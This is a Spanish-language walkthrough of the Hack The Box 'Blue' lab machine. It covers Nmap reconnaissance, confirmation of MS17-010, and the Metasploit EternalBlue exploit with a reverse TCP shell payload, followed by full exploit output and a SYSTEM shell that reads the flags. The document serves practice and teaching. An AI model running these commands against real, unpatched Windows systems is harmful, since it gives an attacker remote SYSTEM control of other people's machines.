CorvusDDosKRom

Hack The Box: Blue

Easy

Blue es una máquina de nivel Easy en Hack The Box que explota la vulnerabilidad MS17-010 (EternalBlue) en SMBv1 para obtener acceso directo como SYSTEM.

Windows
Hack The Box
SMB EternalBlue MS17-010 Metasploit Windows 7
Volver

Blue

Plataforma: Hack The Box

Dificultad: Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Blue

Blue

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- -sS -sCV --min-rate 5000 -Pn -n -oN blue.txt 10.129.9.180
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-04 21:57 -0300
Nmap scan report for 10.129.9.180
Host is up (0.19s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -19m56s, deviation: 34m35s, median: 1s
| smb2-time: 
|   date: 2026-06-05T00:58:41
|_  start_date: 2026-06-05T00:55:15
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-06-05T01:58:43+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.78 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN blue.txt: Guarda los resultados en el archivo “blue.txt”.

Puertos descubiertos:

PuertoServicioDetalle
135/tcpMSRPCMicrosoft Windows RPC
139/tcpNetBIOSMicrosoft Windows netbios-ssn
445/tcpSMBWindows 7 Professional SP1
49152-49157/tcpMSRPCMicrosoft Windows RPC

El escaneo revela un sistema Windows 7 Professional Service Pack 1 con SMB expuesto. La firma SMB está deshabilitada, lo que es relevante para ataques de relay, pero lo más importante es la versión del sistema operativo: Windows 7 SP1 es vulnerable a MS17-010 (EternalBlue).

Enumeración de Vulnerabilidades

Lanzamos los scripts de vulnerabilidades de Nmap específicamente contra SMB para confirmar la presencia de MS17-010:

nmap --script smb-vuln-ms17-010 -p 445 10.129.9.180
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-04 21:59 -0300
Nmap scan report for 10.129.9.180
Host is up (0.19s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 3.17 seconds

La máquina es VULNERABLE a MS17-010. Esta vulnerabilidad fue filtrada del arsenal de la NSA por el grupo Shadow Brokers en 2017 y fue utilizada masivamente en el ransomware WannaCry y el malware NotPetya.

Explotación

CVE-2017-0143 — EternalBlue (MS17-010)

EternalBlue es una vulnerabilidad crítica en el protocolo SMBv1 de Windows que permite la ejecución remota de código sin autenticación. El fallo reside en el manejo incorrecto de solicitudes de transacción SMB específicamente crafteadas, permitiendo a un atacante escribir datos arbitrarios en memoria y ejecutar shellcode con privilegios de SYSTEM.

Configuración del exploit en Metasploit

Iniciamos Metasploit y cargamos el módulo de EternalBlue:

msfconsole -q
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.129.9.180
RHOSTS => 10.129.9.180
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
LHOST => tun0
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/shell/reverse_tcp
PAYLOAD => windows/x64/shell/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.15.132:4444 
[*] 10.129.9.180:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.9.180:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.9.180:445 - Connecting to target for exploitation.
[+] 10.129.9.180:445 - Connection established for exploitation.
[+] 10.129.9.180:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.9.180:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.9.180:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.9.180:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.9.180:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.129.9.180:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.9.180:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.9.180:445 - Sending all but last fragment of exploit packet
[*] 10.129.9.180:445 - Starting non-paged pool grooming
[+] 10.129.9.180:445 - Sending SMBv2 buffers
[+] 10.129.9.180:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.9.180:445 - Sending final SMBv2 buffers.
[*] 10.129.9.180:445 - Sending last fragment of exploit packet!
[*] 10.129.9.180:445 - Receiving response from exploit packet
[+] 10.129.9.180:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.9.180:445 - Sending egg to corrupted connection.
[*] 10.129.9.180:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.129.9.180
[*] Command shell session 1 opened (10.10.15.132:4444 -> 10.129.9.180:49158) at 2026-06-04 22:05:18 -0300
[+] 10.129.9.180:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.9.180:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.9.180:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----

C:\Windows\system32> whoami
nt authority\system

Shell SYSTEM

EternalBlue nos entrega directamente una shell con NT AUTHORITY\SYSTEM, el máximo privilegio posible en Windows. No hay necesidad de escalada de privilegios.

User Flag

Buscamos la flag de usuario en el escritorio del usuario haris:

C:\Windows\system32> type C:\Users\haris\Desktop\user.txt

User Flag

Root Flag

Obtenemos la flag de administrador:

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Root Flag

Máquina Blue de Hack The Box completada exitosamente.